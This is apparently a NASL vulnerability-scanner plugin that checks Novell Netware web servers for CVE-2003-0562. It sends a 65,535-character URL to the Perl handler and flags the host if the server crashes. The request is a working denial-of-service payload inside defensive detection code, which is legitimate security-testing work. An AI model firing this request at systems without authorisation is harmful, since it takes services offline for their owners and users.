Netware Perl CGI Overflow DoS Vulnerability

# SPDX-FileCopyrightText: 2003 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11827");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2003-0562");
  script_name("Netware Perl CGI Overflow DoS Vulnerability");
  script_category(ACT_DENIAL);
  # All the www_too_long_*.nasl scripts were first declared as
  # ACT_DESTRUCTIVE_ATTACK, but many web servers are vulnerable to them:
  # The web server might be killed by those generic tests before the scanner
  # has a chance to perform known attacks for which a patch exists
  # As ACT_DENIAL are performed one at a time (not in parallel), this reduces
  # the risk of false positives.

  script_copyright("Copyright (C) 2003 Michel Arboi");
  script_family("Gain a shell remotely");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Novell_Netware/banner");
  script_exclude_keys("www/too_long_url_crash");

  script_xref(name:"URL", value:"http://support.novell.com/servlet/tidfinder/2966549");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/8251");

  script_tag(name:"solution", value:"Upgrade your web server.");

  script_tag(name:"summary", value:"The remote web server crashes when it receives a too long URL
  for the Perl handler.");

  script_tag(name:"impact", value:"It might be possible to make it execute arbitrary code through this flaw.");

  script_tag(name:"affected", value:"Netware 5.1 SP6 and Netware 6 are known to be affected.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);
banner = http_get_remote_headers(port:port);
if(!banner || "Novell" >!< banner || "Netware" >!< banner)
  exit(0);

if(http_is_dead(port:port))
  exit(0);

soc = http_open_socket(port);
if(!soc)
  exit(0);

req = string("/perl/", crap(65535));
req = http_get(item:req, port:port);
send(socket:soc, data:req);
r = http_recv(socket:soc);
http_close_socket(soc);

if(http_is_dead(port: port, retry:4)) {
  security_message(port:port);
  exit(0);
}

exit(99);